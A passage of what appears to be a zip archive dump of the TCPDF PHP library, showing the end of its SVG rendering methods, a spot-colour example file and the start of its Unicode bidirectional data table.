$this->setSVGStyles($svgstyle, $prev_svgstyle, $x, $y, $w, $h, 'Line', array($x1, $y1, $x2, $y2)); $this->Line($x1, $y1, $x2, $y2); $this->StopTransform(); } break; } case 'polyline': case 'polygon': { if ($invisible) { break; } $points = (isset($attribs['points'])?$attribs['points']:'0 0'); $points = trim($points); // note that point may use a complex syntax not covered here $points = preg_split('/[\,\s]+/si', $points); if (count($points) < 4) { break; } $p = array(); $xmin = 2147483647; $xmax = 0; $ymin = 2147483647; $ymax = 0; foreach ($points as $key => $val) { $p[$key] = $this->getHTMLUnitToUnits($val, 0, $this->svgunit, false); if (($key % 2) == 0) { // X coordinate $xmin = min($xmin, $p[$key]); $xmax = max($xmax, $p[$key]); } else { // Y coordinate $ymin = min($ymin, $p[$key]); $ymax = max($ymax, $p[$key]); } } $x = $xmin; $y = $ymin; $w = ($xmax - $xmin); $h = ($ymax - $ymin); if ($name == 'polyline') { $this->StartTransform(); $this->SVGTransform($tm); $obstyle = $this->setSVGStyles($svgstyle, $prev_svgstyle, $x, $y, $w, $h, 'PolyLine', array($p, 'CNZ')); if (!empty($obstyle)) { $this->PolyLine($p, $obstyle, array(), array()); } $this->StopTransform(); } else { // polygon if ($clipping) { $this->SVGTransform($tm); $this->Polygon($p, 'CNZ', array(), array(), true); } else { $this->StartTransform(); $this->SVGTransform($tm); $obstyle = $this->setSVGStyles($svgstyle, $prev_svgstyle, $x, $y, $w, $h, 'Polygon', array($p, 'CNZ')); if (!empty($obstyle)) { $this->Polygon($p, $obstyle, array(), array(), true); } $this->StopTransform(); } } break; } // image case 'image': { if ($invisible) { break; } if (!isset($attribs['xlink:href']) OR empty($attribs['xlink:href'])) { break; } $x = (isset($attribs['x'])?$this->getHTMLUnitToUnits($attribs['x'], 0, $this->svgunit, false):0); $y = (isset($attribs['y'])?$this->getHTMLUnitToUnits($attribs['y'], 0, $this->svgunit, false):0); $w = (isset($attribs['width'])?$this->getHTMLUnitToUnits($attribs['width'], 0, $this->svgunit, false):0); $h = (isset($attribs['height'])?$this->getHTMLUnitToUnits($attribs['height'], 0, $this->svgunit, false):0); $img = $attribs['xlink:href']; if (!$clipping) { $this->StartTransform(); $this->SVGTransform($tm); $obstyle = $this->setSVGStyles($svgstyle, $prev_svgstyle, $x, $y, $w, $h); if (preg_match('/^data:image\/[^;]+;base64,/', $img, $m) > 0) { // embedded image encoded as base64 $img = '@'.base64_decode(substr($img, strlen($m[0]))); } else { // fix image path if (!$this->empty_string($this->svgdir) AND (($img{0} == '.') OR (basename($img) == $img))) { // replace relative path with full server path $img = $this->svgdir.'/'.$img; } if (($img[0] == '/') AND !empty($_SERVER['DOCUMENT_ROOT']) AND ($_SERVER['DOCUMENT_ROOT'] != '/')) { $findroot = strpos($img, $_SERVER['DOCUMENT_ROOT']); if (($findroot === false) OR ($findroot > 1)) { if (substr($_SERVER['DOCUMENT_ROOT'], -1) == '/') { $img = substr($_SERVER['DOCUMENT_ROOT'], 0, -1).$img; } else { $img = $_SERVER['DOCUMENT_ROOT'].$img; } } } $img = urldecode($img); $testscrtype = @parse_url($img); if (!isset($testscrtype['query']) OR empty($testscrtype['query'])) { // convert URL to server path $img = str_replace(K_PATH_URL, K_PATH_MAIN, $img); } } // get image type $imgtype = $this->getImageFileType($img); if (($imgtype == 'eps') OR ($imgtype == 'ai')) { $this->ImageEps($img, $x, $y, $w, $h); } elseif ($imgtype == 'svg') { $this->ImageSVG($img, $x, $y, $w, $h); } else { $this->Image($img, $x, $y, $w, $h); } $this->StopTransform(); } break; } // text case 'text': case 'tspan': { // only basic support - advanced features must be implemented $this->svgtextmode['invisible'] = $invisible; if ($invisible) { break; } array_push($this->svgstyles, $svgstyle); if (isset($attribs['x'])) { $x = $this->getHTMLUnitToUnits($attribs['x'], 0, $this->svgunit, false); } elseif ($name == 'tspan') { $x = $this->x; } else { $x = 0; } if (isset($attribs['y'])) { $y = $this->getHTMLUnitToUnits($attribs['y'], 0, $this->svgunit, false); } elseif ($name == 'tspan') { $y = $this->y; } else { $y = 0; } $svgstyle['text-color'] = $svgstyle['fill']; $this->svgtext = ''; if (isset($svgstyle['text-anchor'])) { $this->svgtextmode['text-anchor'] = $svgstyle['text-anchor']; } else { $this->svgtextmode['text-anchor'] = 'start'; } if (isset($svgstyle['direction'])) { if ($svgstyle['direction'] == 'rtl') { $this->svgtextmode['rtl'] = true; } else { $this->svgtextmode['rtl'] = false; } } else { $this->svgtextmode['rtl'] = false; } if (isset($svgstyle['stroke']) AND ($svgstyle['stroke'] != 'none') AND isset($svgstyle['stroke-width']) AND ($svgstyle['stroke-width'] > 0)) { $this->svgtextmode['stroke'] = $this->getHTMLUnitToUnits($svgstyle['stroke-width'], 0, $this->svgunit, false); } else { $this->svgtextmode['stroke'] = false; } $this->StartTransform(); $this->SVGTransform($tm); $obstyle = $this->setSVGStyles($svgstyle, $prev_svgstyle, $x, $y, 1, 1); $this->x = $x; $this->y = $y; break; } // use case 'use': { if (isset($attribs['xlink:href']) AND !empty($attribs['xlink:href'])) { $svgdefid = substr($attribs['xlink:href'], 1); if (isset($this->svgdefs[$svgdefid])) { $use = $this->svgdefs[$svgdefid]; if (isset($attribs['xlink:href'])) { unset($attribs['xlink:href']); } if (isset($attribs['id'])) { unset($attribs['id']); } $attribs = array_merge($attribs, $use['attribs']); $this->startSVGElementHandler($parser, $use['name'], $attribs); } } break; } default: { break; } } // end of switch } /** * Sets the closing SVG element handler function for the XML parser. * @param $parser (resource) The first parameter, parser, is a reference to the XML parser calling the handler. * @param $name (string) The second parameter, name, contains the name of the element for which this handler is called. If case-folding is in effect for this parser, the element name will be in uppercase letters. * @author Nicola Asuni * @since 5.0.000 (2010-05-02) * @protected */ protected function endSVGElementHandler($parser, $name) { switch($name) { case 'defs': { $this->svgdefsmode = false; break; } // clipPath case 'clipPath': { $this->svgclipmode = false; break; } case 'g': { // ungroup: remove last style from array array_pop($this->svgstyles); $this->StopTransform(); break; } case 'text': case 'tspan': { if ($this->svgtextmode['invisible']) { // This implementation must be fixed to following the rule: // If the 'visibility' property is set to hidden on a 'tspan', 'tref' or 'altGlyph' element, then the text is invisible but still takes up space in text layout calculations. break; } // print text $text = $this->svgtext; //$text = $this->stringTrim($text); $textlen = $this->GetStringWidth($text); if ($this->svgtextmode['text-anchor'] != 'start') { // check if string is RTL text if ($this->svgtextmode['text-anchor'] == 'end') { if ($this->svgtextmode['rtl']) { $this->x += $textlen; } else { $this->x -= $textlen; } } elseif ($this->svgtextmode['text-anchor'] == 'middle') { if ($this->svgtextmode['rtl']) { $this->x += ($textlen / 2); } else { $this->x -= ($textlen / 2); } } } $textrendermode = $this->textrendermode; $textstrokewidth = $this->textstrokewidth; $this->setTextRenderingMode($this->svgtextmode['stroke'], true, false); if ($name == 'text') { // store current coordinates $tmpx = $this->x; $tmpy = $this->y; } $this->Cell($textlen, 0, $text, 0, 0, '', false, '', 0, false, 'L', 'T'); if ($name == 'text') { // restore coordinates $this->x = $tmpx; $this->y = $tmpy; } // restore previous rendering mode $this->textrendermode = $textrendermode; $this->textstrokewidth = $textstrokewidth; $this->svgtext = ''; $this->StopTransform(); array_pop($this->svgstyles); break; } default: { break; } } } /** * Sets the character data handler function for the XML parser. * @param $parser (resource) The first parameter, parser, is a reference to the XML parser calling the handler. * @param $data (string) The second parameter, data, contains the character data as a string. * @author Nicola Asuni * @since 5.0.000 (2010-05-02) * @protected */ protected function segSVGContentHandler($parser, $data) { $this->svgtext .= $data; } // --- END SVG METHODS ----------------------------------------------------- } // END OF TCPDF CLASS //============================================================+ // END OF FILE //============================================================+ PK���\�#o,,visolutions/tcpdf/index.htmlnu&1i�<html><body bgcolor="#FFFFFF"></body></html>PK���\���� � visolutions/tcpdf/spotcolors.phpnu&1i�<?php //============================================================+ // File name : spotcolors.php // Version : 1.0.001 // Begin : 2010-11-11 // Last Update : 2011-10-03 // Author : Nicola Asuni - Tecnick.com LTD - Manor Coach House, Church Hill, Aldershot, Hants, GU12 4RQ, UK - www.tecnick.com - info@tecnick.com // License : GNU-LGPL v3 (http://www.gnu.org/copyleft/lesser.html) // ------------------------------------------------------------------- // Copyright (C) 2002-2012 Nicola Asuni - Tecnick.com LTD // // This file is part of TCPDF software library. // // TCPDF is free software: you can redistribute it and/or modify it // under the terms of the GNU Lesser General Public License as // published by the Free Software Foundation, either version 3 of the // License, or (at your option) any later version. // // TCPDF is distributed in the hope that it will be useful, but // WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. // See the GNU Lesser General Public License for more details. // // You should have received a copy of the GNU Lesser General Public License // along with TCPDF. If not, see <http://www.gnu.org/licenses/>. // // See LICENSE.TXT file for more information. // ------------------------------------------------------------------- // // Description : Array of Spot Colors for TCPDF library // //============================================================+ /** * @file * Arrays of Spot Colors for TCPDF library * @author Nicola Asuni * @package com.tecnick.tcpdf * @since 5.9.012 (2010-11-11) */ /** * Array of Spot colors (C,M,Y,K,name) * Color keys must be in lowercase and without spaces. * As long as no open standard for spot colours exists, you have to buy a colour book by one of the colour manufacturers and insert the values and names of spot colours directly. * Common industry standard spot colors are: ANPA-COLOR, DIC, FOCOLTONE, GCMI, HKS, PANTONE, TOYO, TRUMATCH. */ $spotcolor = array ( // the following are just examples, fill the array with your own values 'mytcpdfblack' => array(0, 0, 0, 100, 'My TCPDF Black'), 'mytcpdfred' => array(30, 100, 90, 10, 'My TCPDF Red'), 'mytcpdfgreen' => array(100, 30, 100, 0, 'My TCPDF Green'), 'mytcpdfblue' => array(100, 60, 10, 5, 'My TCPDF Blue'), 'mytcpdfyellow' => array(0, 20, 100, 0, 'My TCPDF Yellow'), // ... ); //============================================================+ // END OF FILE //============================================================+ PK���\Y՛�y�y"visolutions/tcpdf/unicode_data.phpnu&1i�<?php //============================================================+ // File name : unicode_data.php // Version : 1.0.009 // Begin : 2008-01-01 // Last Update : 2011-10-01 // Author : Nicola Asuni - Tecnick.com LTD - Manor Coach House, Church Hill, Aldershot, Hants, GU12 4RQ, UK - www.tecnick.com - info@tecnick.com // License : GNU-LGPL v3 (http://www.gnu.org/copyleft/lesser.html) // ------------------------------------------------------------------- // Copyright (C) 2008-2012 Nicola Asuni - Tecnick.com LTD // // This file is part of TCPDF software library. // // TCPDF is free software: you can redistribute it and/or modify it // under the terms of the GNU Lesser General Public License as // published by the Free Software Foundation, either version 3 of the // License, or (at your option) any later version. // // TCPDF is distributed in the hope that it will be useful, but // WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. // See the GNU Lesser General Public License for more details. // // You should have received a copy of the GNU Lesser General Public License // along with TCPDF. If not, see <http://www.gnu.org/licenses/>. // // See LICENSE.TXT file for more information. // ------------------------------------------------------------------- // // Description : Unicode data for TCPDF library. // //============================================================+ // THANKS TO // Efthimios Mavrogeorgiadis // Saleh AlMatrafe /** * @file * Unicode data class for TCPDF library. * @author Nicola Asuni * @package com.tecnick.tcpdf * @since 2.1.000 (2008-01-08) */ /** * @class TCPDF_UNICODE_DATA * This is a PHP class containing UnicOde data for TCPDF library. * @package com.tecnick.tcpdf * @version 1.0.009 * @author Nicola Asuni - info@tecnick.com */ class TCPDF_UNICODE_DATA { /** * Unicode code for Left-to-Right Mark. * @public */ public $uni_LRM = 8206; /** * Unicode code for Right-to-Left Mark. * @public */ public $uni_RLM = 8207; /** * Unicode code for Left-to-Right Embedding. * @public */ public $uni_LRE = 8234; /** * Unicode code for Right-to-Left Embedding. * @public */ public $uni_RLE = 8235; /** * Unicode code for Pop Directional Format. * @public */ public $uni_PDF = 8236; /** * Unicode code for Left-to-Right Override. * @public */ public $uni_LRO = 8237; /** * Unicode code for Right-to-Left Override. * @public */ public $uni_RLO = 8238; /** * Pattern to test RTL (Righ-To-Left) strings using regular expressions. * @public */ public $uni_RE_PATTERN_RTL = "/( \xD6\xBE # R | \xD7[\x80\x83\x86\x90-\xAA\xB0-\xB4] # R | \xDF[\x80-\xAA\xB4\xB5\xBA] # R | \xE2\x80\x8F # R | \xEF\xAC[\x9D\x9F\xA0-\xA8\xAA-\xB6\xB8-\xBC\xBE] # R | \xEF\xAD[\x80\x81\x83\x84\x86-\x8F] # R | \xF0\x90\xA0[\x80-\x85\x88\x8A-\xB5\xB7\xB8\xBC\xBF] # R | \xF0\x90\xA4[\x80-\x99] # R | \xF0\x90\xA8[\x80\x90-\x93\x95-\x97\x99-\xB3] # R | \xF0\x90\xA9[\x80-\x87\x90-\x98] # R | \xE2\x80[\xAB\xAE] # RLE & RLO )/x"; /** * Pattern to test Arabic strings using regular expressions. Source: http://www.w3.org/International/questions/qa-forms-utf-8 * @public */ public $uni_RE_PATTERN_ARABIC = "/( \xD8[\x80-\x83\x8B\x8D\x9B\x9E\x9F\xA1-\xBA] # AL | \xD9[\x80-\x8A\xAD-\xAF\xB1-\xBF] # AL | \xDA[\x80-\xBF] # AL | \xDB[\x80-\x95\x9D\xA5\xA6\xAE\xAF\xBA-\xBF] # AL | \xDC[\x80-\x8D\x90\x92-\xAF] # AL | \xDD[\x8D-\xAD] # AL | \xDE[\x80-\xA5\xB1] # AL | \xEF\xAD[\x90-\xBF] # AL | \xEF\xAE[\x80-\xB1] # AL | \xEF\xAF[\x93-\xBF] # AL | \xEF[\xB0-\xB3][\x80-\xBF] # AL | \xEF\xB4[\x80-\xBD] # AL | \xEF\xB5[\x90-\xBF] # AL | \xEF\xB6[\x80-\x8F\x92-\xBF] # AL | \xEF\xB7[\x80-\x87\xB0-\xBC] # AL | \xEF\xB9[\xB0-\xB4\xB6-\xBF] # AL | \xEF\xBA[\x80-\xBF] # AL | \xEF\xBB[\x80-\xBC] # AL | \xD9[\xA0-\xA9\xAB\xAC] # AN )/x"; /** * Array of Unicode types. * @public */ public $uni_type = array( 0=>'BN', 1=>'BN', 2=>'BN', 3=>'BN', 4=>'BN', 5=>'BN', 6=>'BN', 7=>'BN', 8=>'BN', 9=>'S', 10=>'B', 11=>'S', 12=>'WS', 13=>'B', 14=>'BN', 15=>'BN', 16=>'BN', 17=>'BN', 18=>'BN', 19=>'BN', 20=>'BN', 21=>'BN', 22=>'BN', 23=>'BN', 24=>'BN', 25=>'BN', 26=>'BN', 27=>'BN', 28=>'B', 29=>'B', 30=>'B', 31=>'S', 32=>'WS', 33=>'ON', 34=>'ON', 35=>'ET', 36=>'ET', 37=>'ET', 38=>'ON', 39=>'ON', 40=>'ON', 41=>'ON', 42=>'ON', 43=>'ES', 44=>'CS', 45=>'ES', 46=>'CS', 47=>'CS', 48=>'EN', 49=>'EN', 50=>'EN', 51=>'EN', 52=>'EN', 53=>'EN', 54=>'EN', 55=>'EN', 56=>'EN', 57=>'EN', 58=>'CS', 59=>'ON', 60=>'ON', 61=>'ON', 62=>'ON', 63=>'ON', 64=>'ON', 65=>'L', 66=>'L', 67=>'L', 68=>'L', 69=>'L', 70=>'L', 71=>'L', 72=>'L', 73=>'L', 74=>'L', 75=>'L', 76=>'L', 77=>'L', 78=>'L', 79=>'L', 80=>'L', 81=>'L', 82=>'L', 83=>'L', 84=>'L', 85=>'L', 86=>'L', 87=>'L', 88=>'L', 89=>'L', 90=>'L', 91=>'ON', 92=>'ON', 93=>'ON', 94=>'ON', 95=>'ON', 96=>'ON', 97=>'L', 98=>'L', 99=>'L', 100=>'L', 101=>'L', 102=>'L', 103=>'L', 104=>'L', 105=>'L', 106=>'L', 107=>'L', 108=>'L', 109=>'L', 110=>'L', 111=>'L', 112=>'L', 113=>'L', 114=>'L', 115=>'L', 116=>'L', 117=>'L', 118=>'L', 119=>'L', 120=>'L', 121=>'L', 122=>'L', 123=>'ON', 124=>'ON', 125=>'ON', 126=>'ON', 127=>'BN', 128=>'BN', 129=>'BN', 130=>'BN', 131=>'BN', 132=>'BN', 133=>'B', 134=>'BN', 135=>'BN', 136=>'BN', 137=>'BN', 138=>'BN', 139=>'BN', 140=>'BN', 141=>'BN', 142=>'BN', 143=>'BN', 144=>'BN', 145=>'BN', 146=>'BN', 147=>'BN', 148=>'BN', 149=>'BN', 150=>'BN', 151=>'BN', 152=>'BN', 153=>'BN', 154=>'BN', 155=>'BN', 156=>'BN', 157=>'BN', 158=>'BN', 159=>'BN', 160=>'CS', 161=>'ON', 162=>'ET', 163=>'ET', 164=>'ET', 165=>'ET', 166=>'ON', 167=>'ON', 168=>'ON', 169=>'ON', 170=>'L', 171=>'ON', 172=>'ON', 173=>'BN', 174=>'ON', 175=>'ON', 176=>'ET', 177=>'ET', 178=>'EN', 179=>'EN', 180=>'ON', 181=>'L', 182=>'ON', 183=>'ON', 184=>'ON', 185=>'EN', 186=>'L', 187=>'ON', 188=>'ON', 189=>'ON', 190=>'ON', 191=>'ON', 192=>'L', 193=>'L', 194=>'L', 195=>'L', 196=>'L', 197=>'L', 198=>'L', 199=>'L', 200=>'L', 201=>'L', 202=>'L', 203=>'L', 204=>'L', 205=>'L', 206=>'L', 207=>'L', 208=>'L', 209=>'L', 210=>'L', 211=>'L', 212=>'L', 213=>'L', 214=>'L', 215=>'ON', 216=>'L', 217=>'L', 218=>'L', 219=>'L', 220=>'L', 221=>'L', 222=>'L', 223=>'L', 224=>'L', 225=>'L', 226=>'L', 227=>'L', 228=>'L', 229=>'L', 230=>'L', 231=>'L', 232=>'L', 233=>'L', 234=>'L', 235=>'L', 236=>'L', 237=>'L', 238=>'L', 239=>'L', 240=>'L', 241=>'L', 242=>'L', 243=>'L', 244=>'L', 245=>'L', 246=>'L', 247=>'ON', 248=>'L', 249=>'L', 250=>'L', 251=>'L', 252=>'L', 253=>'L', 254=>'L', 255=>'L', 256=>'L', 257=>'L', 258=>'L', 259=>'L', 260=>'L', 261=>'L', 262=>'L', 263=>'L', 264=>'L', 265=>'L', 266=>'L', 267=>'L', 268=>'L', 269=>'L', 270=>'L', 271=>'L', 272=>'L', 273=>'L', 274=>'L', 275=>'L', 276=>'L', 277=>'L', 278=>'L', 279=>'L', 280=>'L', 281=>'L', 282=>'L', 283=>'L', 284=>'L', 285=>'L', 286=>'L', 287=>'L', 288=>'L', 289=>'L', 290=>'L', 291=>'L', 292=>'L', 293=>'L', 294=>'L', 295=>'L', 296=>'L', 297=>'L', 298=>'L', 299=>'L', 300=>'L', 301=>'L', 302=>'L', 303=>'L', 304=>'L', 305=>'L', 306=>'L', 307=>'L', 308=>'L', 309=>'L', 310=>'L', 311=>'L', 312=>'L', 313=>'L', 314=>'L', 315=>'L', 316=>'L', 317=>'L', 318=>'L', 319=>'L', 320=>'L', 321=>'L', 322=>'L', 323=>'L', 324=>'L', 325=>'L', 326=>'L', 327=>'L', 328=>'L', 329=>'L', 330=>'L', 331=>'L', 332=>'L', 333=>'L', 334=>'L', 335=>'L', 336=>'L', 337=>'L', 338=>'L', 339=>'L', 340=>'L', 341=>'L', 342=>'L', 343=>'L', 344=>'L', 345=>'L', 346=>'L', 347=>'L', 348=>'L', 349=>'L', 350=>'L', 351=>'L', 352=>'L', 353=>'L', 354=>'L', 355=>'L', 356=>'L', 357=>'L', 358=>'L', 359=>'L', 360=>'L', 361=>'L', 362=>'L', 363=>'L', 364=>'L', 365=>'L', 366=>'L', 367=>'L', 368=>'L', 369=>'L', 370=>'L', 371=>'L', 372=>'L', 373=>'L', 374=>'L', 375=>'L', 376=>'L', 377=>'L', 378=>'L', 379=>'L', 380=>'L', 381=>'L', 382=>'L', 383=>'L', 384=>'L', 385=>'L', 386=>'L', 387=>'L', 388=>'L', 389=>'L', 390=>'L', 391=>'L', 392=>'L', 393=>'L', 394=>'L', 395=>'L', 396=>'L', 397=>'L', 398=>'L', 399=>'L', 400=>'L', 401=>'L', 402=>'L', 403=>'L', 404=>'L', 405=>'L', 406=>'L', 407=>'L', 408=>'L', 409=>'L', 410=>'L', 411=>'L', 412=>'L', 413=>'L', 414=>'L', 415=>'L', 416=>'L', 417=>'L', 418=>'L', 419=>'L', 420=>'L', 421=>'L', 422=>'L', 423=>'L', 424=>'L', 425=>'L', 426=>'L', 427=>'L', 428=>'L', 429=>'L', 430=>'L', 431=>'L', 432=>'L', 433=>'L', 434=>'L', 435=>'L', 436=>'L', 437=>'L', 438=>'L', 439=>'L', 440=>'L', 441=>'L', 442=>'L', 443=>'L', 444=>'L', 445=>'L', 446=>'L', 447=>'L', 448=>'L', 449=>'L', 450=>'L', 451=>'L', 452=>'L', 453=>'L', 454=>'L', 455=>'L', 456=>'L', 457=>'L', 458=>'L', 459=>'L', 460=>'L', 461=>'L', 462=>'L', 463=>'L', 464=>'L', 465=>'L', 466=>'L', 467=>'L', 468=>'L', 469=>'L', 470=>'L', 471=>'L', 472=>'L', 473=>'L', 474=>'L', 475=>'L', 476=>'L', 477=>'L', 478=>'L', 479=>'L', 480=>'L', 481=>'L', 482=>'L', 483=>'L', 484=>'L', 485=>'L', 486=>'L', 487=>'L', 488=>'L', 489=>'L', 490=>'L', 491=>'L', 492=>'L', 493=>'L', 494=>'L', 495=>'L', 496=>'L', 497=>'L', 498=>'L', 499=>'L', 500=>'L', 501=>'L', 502=>'L', 503=>'L', 504=>'L', 505=>'L', 506=>'L', 507=>'L', 508=>'L', 509=>'L', 510=>'L', 511=>'L', 512=>'L', 513=>'L', 514=>'L', 515=>'L', 516=>'L', 517=>'L', 518=>'L', 519=>'L', 520=>'L', 521=>'L', 522=>'L', 523=>'L', 524=>'L', 525=>'L', 526=>'L', 527=>'L', 528=>'L', 529=>'L', 530=>'L', 531=>'L', 532=>'L', 533=>'L', 534=>'L', 535=>'L', 536=>'L', 537=>'L', 538=>'L', 539=>'L', 540=>'L', 541=>'L', 542=>'L', 543=>'L', 544=>'L', 545=>'L', 546=>'L', 547=>'L', 548=>'L', 549=>'L', 550=>'L', 551=>'L', 552=>'L', 553=>'L', 554=>'L', 555=>'L', 556=>'L', 557=>'L', 558=>'L', 559=>'L', 560=>'L', 561=>'L', 562=>'L', 563=>'L', 564=>'L', 565=>'L', 566=>'L', 567=>'L', 568=>'L', 569=>'L', 570=>'L', 571=>'L', 572=>'L', 573=>'L', 574=>'L', 575=>'L', 576=>'L', 577=>'L', 578=>'L', 579=>'L', 580=>'L', 581=>'L', 582=>'L', 583=>'L', 584=>'L', 585=>'L', 586=>'L', 587=>'L', 588=>'L', 589=>'L', 590=>'L', 591=>'L', 592=>'L', 593=>'L', 594=>'L', 595=>'L', 596=>'L', 597=>'L', 598=>'L', 599=>'L', 600=>'L', 601=>'L', 602=>'L', 603=>'L', 604=>'L', 605=>'L', 606=>'L', 607=>'L', 608=>'L', 609=>'L', 610=>'L', 611=>'L', 612=>'L', 613=>'L', 614=>'L', 615=>'L', 616=>'L', 617=>'L', 618=>'L', 619=>'L', 620=>'L', 621=>'L', 622=>'L', 623=>'L', 624=>'L', 625=>'L', 626=>'L', 627=>'L', 628=>'L', 629=>'L', 630=>'L', 631=>'L', 632=>'L', 633=>'L', 634=>'L', 635=>'L', 636=>'L', 637=>'L', 638=>'L', 639=>'L', 640=>'L', 641=>'L', 642=>'L', 643=>'L', 644=>'L', 645=>'L', 646=>'L', 647=>'L', 648=>'L', 649=>'L', 650=>'L', 651=>'L', 652=>'L', 653=>'L', 654=>'L', 655=>'L', 656=>'L', 657=>'L', 658=>'L', 659=>'L', 660=>'L', 661=>'L', 662=>'L', 663=>'L', 664=>'L', 665=>'L', 666=>'L', 667=>'L', 668=>'L', 669=>'L', 670=>'L', 671=>'L', 672=>'L', 673=>'L', 674=>'L', 675=>'L', 676=>'L', 677=>'L', 678=>'L', 679=>'L', 680=>'L', 681=>'L', 682=>'L', 683=>'L', 684=>'L', 685=>'L', 686=>'L', 687=>'L', 688=>'L', 689=>'L', 690=>'L', 691=>'L', 692=>'L', 693=>'L', 694=>'L', 695=>'L', 696=>'L', 697=>'ON', 698=>'ON', 699=>'L', 700=>'L', 701=>'L', 702=>'L', 703=>'L', 704=>'L', 705=>'L', 706=>'ON', 707=>'ON', 708=>'ON', 709=>'ON', 710=>'ON', 711=>'ON', 712=>'ON', 713=>'ON', 714=>'ON', 715=>'ON', 716=>'ON', 717=>'ON', 718=>'ON', 719=>'ON', 720=>'L', 721=>'L', 722=>'ON', 723=>'ON', 724=>'ON', 725=>'ON', 726=>'ON', 727=>'ON', 728=>'ON', 729=>'ON', 730=>'ON', 731=>'ON', 732=>'ON', 733=>'ON', 734=>'ON', 735=>'ON', 736=>'L', 737=>'L', 738=>'L', 739=>'L', 740=>'L', 741=>'ON', 742=>'ON', 743=>'ON', 744=>'ON', 745=>'ON', 746=>'ON', 747=>'ON', 748=>'ON', 749=>'ON', 750=>'L', 751=>'ON', 752=>'ON', 753=>'ON', 754=>'ON', 755=>'ON', 756=>'ON', 757=>'ON', 758=>'ON', 759=>'ON', 760=>'ON', 761=>'ON', 762=>'ON', 763=>'ON', 764=>'ON', 765=>'ON', 766=>'ON', 767=>'ON', 768=>'NSM', 769=>'NSM', 770=>'NSM', 771=>'NSM', 772=>'NSM', 773=>'NSM', 774=>'NSM', 775=>'NSM', 776=>'NSM', 777=>'NSM', 778=>'NSM', 779=>'NSM', 780=>'NSM', 781=>'NSM', 782=>'NSM', 783=>'NSM', 784=>'NSM', 785=>'NSM', 786=>'NSM', 787=>'NSM', 788=>'NSM', 789=>'NSM', 790=>'NSM', 791=>'NSM', 792=>'NSM', 793=>'NSM', 794=>'NSM', 795=>'NSM', 796=>'NSM', 797=>'NSM', 798=>'NSM', 799=>'NSM', 800=>'NSM', 801=>'NSM', 802=>'NSM', 803=>'NSM', 804=>'NSM', 805=>'NSM', 806=>'NSM', 807=>'NSM', 808=>'NSM', 809=>'NSM', 810=>'NSM', 811=>'NSM', 812=>'NSM', 813=>'NSM', 814=>'NSM', 815=>'NSM', 816=>'NSM', 817=>'NSM', 818=>'NSM', 819=>'NSM', 820=>'NSM', 821=>'NSM', 822=>'NSM', 823=>'NSM', 824=>'NSM', 825=>'NSM', 826=>'NSM', 827=>'NSM', 828=>'NSM', 829=>'NSM', 830=>'NSM', 831=>'NSM', 832=>'NSM', 833=>'NSM', 834=>'NSM', 835=>'NSM', 836=>'NSM', 837=>'NSM', 838=>'NSM', 839=>'NSM', 840=>'NSM', 841=>'NSM', 842=>'NSM', 843=>'NSM', 844=>'NSM', 845=>'NSM', 846=>'NSM', 847=>'NSM', 848=>'NSM', 849=>'NSM', 850=>'NSM', 851=>'NSM', 852=>'NSM', 853=>'NSM', 854=>'NSM', 855=>'NSM', 856=>'NSM', 857=>'NSM', 858=>'NSM', 859=>'NSM', 860=>'NSM', 861=>'NSM', 862=>'NSM', 863=>'NSM', 864=>'NSM', 865=>'NSM', 866=>'NSM', 867=>'NSM', 868=>'NSM', 869=>'NSM', 870=>'NSM', 871=>'NSM', 872=>'NSM', 873=>'NSM', 874=>'NSM', 875=>'NSM', 876=>'NSM', 877=>'NSM', 878=>'NSM', 879=>'NSM', 884=>'ON', 885=>'ON', 890=>'L', 891=>'L', 892=>'L', 893=>'L', 894=>'ON', 900=>'ON', 901=>'ON', 902=>'L', 903=>'ON', 904=>'L', 905=>'L', 906=>'L', 908=>'L', 910=>'L', 911=>'L', 912=>'L', 913=>'L', 914=>'L', 915=>'L', 916=>'L', 917=>'L', 918=>'L', 919=>'L', 920=>'L', 921=>'L', 922=>'L', 923=>'L', 924=>'L', 925=>'L', 926=>'L', 927=>'L', 928=>'L', 929=>'L', 931=>'L', 932=>'L', 933=>'L', 934=>'L', 935=>'L', 936=>'L', 937=>'L', 938=>'L', 939=>'L', 940=>'L', 941=>'L', 942=>'L', 943=>'L', 944=>'L', 945=>'L', 946=>'L', 947=>'L', 948=>'L', 949=>'L', 950=>'L', 951=>'L', 952=>'L', 953=>'L', 954=>'L', 955=>'L', 956=>'L', 957=>'L', 958=>'L', 959=>'L', 960=>'L', 961=>'L', 962=>'L', 963=>'L', 964=>'L', 965=>'L', 966=>'L', 967=>'L', 968=>'L', 969=>'L', 970=>'L', 971=>'L', 972=>'L', 973=>'L', 974=>'L', 976=>'L', 977=>'L', 978=>'L', 979=>'L', 980=>'L', 981=>'L', 982=>'L', 983=>'L', 984=>'L', 985=>'L', 986=>'L', 987=>'L', 988=>'L', 989=>'L', 990=>'L', 991=>'L', 992=>'L', 993=>'L', 994=>'L', 995=>'L', 996=>'L', 997=>'L', 998=>'L', 999=>'L', 1000=>'L', 1001=>'L', 1002=>'L', 1003=>'L', 1004=>'L', 1005=>'L', 1006=>'L', 1007=>'L', 1008=>'L', 1009=>'L', 1010=>'L', 1011=>'L', 1012=>'L', 1013=>'L', 1014=>'ON', 1015=>'L', 1016=>'L', 1017=>'L', 1018=>'L', 1019=>'L', 1020=>'L', 1021=>'L', 1022=>'L', 1023=>'L', 1024=>'L', 1025=>'L', 1026=>'L', 1027=>'L', 1028=>'L', 1029=>'L', 1030=>'L', 1031=>'L', 1032=>'L', 1033=>'L', 1034=>'L', 1035=>'L', 1036=>'L', 1037=>'L', 1038=>'L', 1039=>'L', 1040=>'L', 1041=>'L', 1042=>'L', 1043=>'L', 1044=>'L', 1045=>'L', 1046=>'L', 1047=>'L', 1048=>'L', 1049=>'L', 1050=>'L', 1051=>'L', 1052=>'L', 1053=>'L', 1054=>'L', 1055=>'L', 1056=>'L', 1057=>'L', 1058=>'L', 1059=>'L', 1060=>'L', 1061=>'L', 1062=>'L', 1063=>'L', 1064=>'L', 1065=>'L', 1066=>'L', 1067=>'L', 1068=>'L', 1069=>'L', 1070=>'L', 1071=>'L', 1072=>'L', 1073=>'L', 1074=>'L', 1075=>'L', 1076=>'L', 1077=>'L', 1078=>'L', 1079=>'L', 1080=>'L', 1081=>'L', 1082=>'L', 1083=>'L', 1084=>'L', 1085=>'L', 1086=>'L', 1087=>'L', 1088=>'L', 1089=>'L', 